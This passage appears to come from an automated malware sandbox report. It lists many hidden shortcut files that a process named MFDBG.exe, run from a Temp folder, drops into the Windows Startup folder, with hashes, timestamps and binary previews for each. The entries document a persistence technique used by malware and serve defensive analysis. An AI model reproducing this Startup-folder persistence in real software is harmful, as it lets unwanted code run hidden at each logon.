Preview:	L..................F...."...]W%.{.....;.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...d./.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_af4b21bcebd1434f98a43f1c14237ba0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937226582440011
Encrypted:	false
SSDEEP:	24:85hBfo8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ZV0R6rMhpBoUBxdRd1nYyg
MD5:	7F198247D9AF7674D3DADA12E4D8136E
SHA1:	1A56DA76AF13FEC10E6A449D62E45A6EBB96B6A1
SHA-256:	93B15D56EB1BC701F8B56655CDFBD9825F630353B3A45AD793CBD0534E56A500
SHA-512:	F592E0C5AEF9B404FAE39B75C8FC33EB90570284D53A9BC009CA47B127DFC3916D37F3E9B9FD33AC11A0D89B05AE5D0B1D9A335BF0CA59743C839C1534612C64
Malicious:	false
Preview:	L..................F...."...]W%.{....8..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...Us..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_af60f4207fa445d1b7e4e942cbf6678b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937007507483636
Encrypted:	false
SSDEEP:	24:8GhBfw8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8M90R6rMhpBoUBxdRd1nYyg
MD5:	5BEFCEC9F1CD99A8452ADA04F62CE375
SHA1:	05FE070BE043C2BF23840008A67AFFDB1303056D
SHA-256:	85D1704712F92D6CD177C88193FBEC909984F0C2CAEF8F1EF676E168F86BDE79
SHA-512:	799DAC44443D805294C144BAE450C224257A8674AB480107AF4A8CB9227C5BF2BD9E7FBCAFEAA72D69C26C66E6F7DCFEBACB80319171FA9F03AE78C7174059E0
Malicious:	false
Preview:	L..................F...."...]W%.{....<v.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....Vc.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_af69a3071f6e43b8b81e8b2f718a041f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935051799464729
Encrypted:	false
SSDEEP:	24:8i2hBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ds0R6rMhpBoUBxdRd1nYyg
MD5:	4B65498AD9F0604EBEA1058C2D3AEC8E
SHA1:	89B453836FBF168CBECFA890F45A9920F76B3B66
SHA-256:	7E43E6BECDF942DCD568E62D6EA28137C071EA322D7A3AA229ECE992302114AD
SHA-512:	6378797A642A262C6DE9A346BC305FB0D8C2E3C4FA8681A8443FDD2F814A33C4FAA2B4C01CA0E1AE3761A7ED6707C8C2F4B6FEC83485DA4A663A84AEED327A42
Malicious:	false
Preview:	L..................F...."...]W%.{...{j.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_af7ec0ac3f13462aaca14bbd82265ede.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93956580889997
Encrypted:	false
SSDEEP:	24:8c2hBfKP8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8rC00R6rMhpBoUBxdRd1nYyg
MD5:	5181BBB33F678F4489489408AEAC9330
SHA1:	7EA89FE8E1F1810670A951797792E6CCC3E27F79
SHA-256:	272FA6305E5B2253239D936059175F9E9248D8D1CFA8CEF38D2340D7C828EDF1
SHA-512:	BF354D64CA078516B75BDC7AAB1BBF577E31DE4E7DF1B246155CF366FB20CC5CAC14BBB8FD8E38A0ABB1094513E5E0405787D9171B8908BA9150A874616B1D0E
Malicious:	false
Preview:	L..................F...."...]W%.{...#...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...23..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_afaf4dccd905426faaf620c19b3e015f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940284445864697
Encrypted:	false
SSDEEP:	24:8ShBfEH8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Y8c0R6rMhpBoUBxdRd1nYyg
MD5:	23B563F8CDC06A96A2F1E57B161E3B3A
SHA1:	FB0D54FB456C1DD3BB049B8D8856CE1DDFCE4FBA
SHA-256:	8FDCBEDBD0C78ED351F9825CAD02B2E1F9CD0D31BC4F57ABC2C839F36B30FB7E
SHA-512:	3E5E3B640B8B91EFA5EE3B2BCAF5318C19799BF9C765B018140053F2940C09EF7AF45266AE75002248AE85BEF34C74F11BDD1A404D5D646E7B0B1C1D940C8B5B
Malicious:	false
Preview:	L..................F...."...]W%.{....-..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{..../..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b00f70e7ed5446ad9c6cbb3e625f9dab.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939508600471537
Encrypted:	false
SSDEEP:	24:8yhBfF+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:84p0R6rMhpBoUBxdRd1nYyg
MD5:	3F077970BEA5C8FC7E290E7DFC00B77D
SHA1:	07D022B35AC20307287EEACC777944ADE7F5EB0C
SHA-256:	A80278FAE6D2B1F0B1A7201AF4268A2D9FC3D7A6100E8F26FBD3FC5150F3E0DE
SHA-512:	BEABFACD6EA9791ED3B07DA579917D22C6616800575F1E5C7AB1C8A283A7E8191A92D3518521D2B090C204C32A69EF8409BC44CFA0F5D50156ED17A0BA1B68E4
Malicious:	false
Preview:	L..................F...."...]W%.{......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....(..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b012f022d6074980a6835c869e5ea68c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:19 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939764542370615
Encrypted:	false
SSDEEP:	24:8MkhBfsl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8/EC0R6rMhpBoUBxdRd1nYyg
MD5:	A4BF3697C822480E0D87E4BF9C5CA6BB
SHA1:	54C640A3043FB8A68515AAD41C43D240B794995C
SHA-256:	5D0A1B160E6468A54E4C93F081E9968406D38D594B4B4F0DDC41217372430C8E
SHA-512:	9AE4A5B86CCA891B6090C65688F81F366FF499A192D7089DD4E2DB06DCF5D7E2D1C8D29D7F41D7D92BAB51B4B61A0BB2B053599B02F0C6DE5A5E3C4EA2F0B132
Malicious:	false
Preview:	L..................F...."...]W%.{...7...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...\|...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b012f08c72b347dbb48d71f975dd5760.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932695742735106
Encrypted:	false
SSDEEP:	24:8mhBfeh8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8s/0R6rMhpBoUBxdRd1nYyg
MD5:	A28C305C63BD75D67FB71654F5A3EAF7
SHA1:	2F3650ACD81588C9D0AC5309DA8C62CF1C0E8AD8
SHA-256:	52131E15B614BABFFBC888D8A3108578FFC2D74E2E0CE7259004AACC5ACA3156
SHA-512:	A0878D29E0E8803C21C47C04378BA8046506F7A591288ED02CF96D69EE5A8BFE136E23850BD6AD51D02C5F46280DD9957892FC46D3511335815D5FB45CD1CA22
Malicious:	false
Preview:	L..................F...."...]W%.{....7..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....7..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b01cdfae68524a3482baa9c671f97148.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:14 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.945028126908974
Encrypted:	false
SSDEEP:	24:8ohBfeczp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8qe0R6rMhpBoUBxdRd1nYyg
MD5:	399DE961C2022A283610AEB561BBFD03
SHA1:	09C8B4375E952FD31BAAFB75AAF37EDBAB586D5C
SHA-256:	E6849B7D298E41C4F6F3E0A1370A8D367815106213EB426FDC7B3AC7B36F307C
SHA-512:	D4519A8F5EB97787EC4A168E8E945CF198AE95D836B9E36718D9AA250C97B9D6B489BA41AEB79F57C954A60E3D2D4AE891C478D9291938F4FB2C1BDE0CB2315E
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...o ..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b03ca0ee841c40dead9070634e6b0cd6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938128629747311
Encrypted:	false
SSDEEP:	24:8ChBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8oKI0R6rMhpBoUBxdRd1nYyg
MD5:	8086D17B2E6B1C28EF04A3D9DE689B6F
SHA1:	D56FD73815A9302A3562260B377CF0BB4247C4EE
SHA-256:	BC66653A5D83304E89BEF9AC23389A8FF3F513346C35B8C63B8C275760C35BBE
SHA-512:	1A363621AA7183BC31F258112873EE37B275A4CC9125D67B46CFD6B8832E54E556A5404DE26F1DDD4836B7729FF3B88B82F9D3C8F1D8FDC06CA1F2F49B3C718E
Malicious:	false
Preview:	L..................F...."...]W%.{...RmO.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b057ec2bd0c348378b631d5935d81a41.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:15 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9379651306921755
Encrypted:	false
SSDEEP:	24:8SYhBft8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8S6C0R6rMhpBoUBxdRd1nYyg
MD5:	09386EB5CD3F3DC09F938D69278DE872
SHA1:	6E9E13CD7FAED96775162623D45EEECD5559B1D6
SHA-256:	A279C73D8CC21FCB2F04FC4CEBB78D40DB8E7F795BED475D558C534575C0975B
SHA-512:	ECFB5FC5CFAF1EBC4C908D09C8F55CBBD96507F59D913EC65EE1524EF85F9664DAB711A15A80311A48603534B4BD0FCE05EB3EBEF92F3807B937459FF0CF4B02
Malicious:	false
Preview:	L..................F...."...]W%.{.....U.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{..._.\.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b08e6c8c2aff492085dc1a9d7fa6a78c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940048845451351
Encrypted:	false
SSDEEP:	24:8BhBfOe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8xm0R6rMhpBoUBxdRd1nYyg
MD5:	20E7B15CF9B2ABCCE4DC4E13842BF99B
SHA1:	A8E0B2252969A7FF0CA2C63ED8942BBA448BFCEF
SHA-256:	AD9E7521513984350F0DEDEEF3E3B04A144FF9FA871552A5D3D2058F02EF3709
SHA-512:	A8961ABC9018EA4BC0BAF8D4F180A32D4E918BF850283AB3D92E2C5F72B4F5CC34F9201A6A39A959390414324FBC4AEC11F0119633245C9544F20EA0FD51421D
Malicious:	false
Preview:	L..................F...."...]W%.{....O4.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b08f69648bab4b0995f720d130e2ca1c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9418478269314985
Encrypted:	false
SSDEEP:	24:8LhBfu8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8vr0R6rMhpBoUBxdRd1nYyg
MD5:	7C6F4191CFB15A6CF0D501479218105C
SHA1:	5F18E221AFC4F875403D611A9EA9625FC5228B0A
SHA-256:	343145A9F42861702CCB014DB44D5365E70A1448914938F7C18F1E732F684D02
SHA-512:	F4657C7CF56600D52B2A3DC361996B5201066A5335CA715DEC70DFDC4D75E64A84C1E380B94B66C1D9C81ED62B3C77D89BDD5E7F57912312C8D893F05FE7F980
Malicious:	false
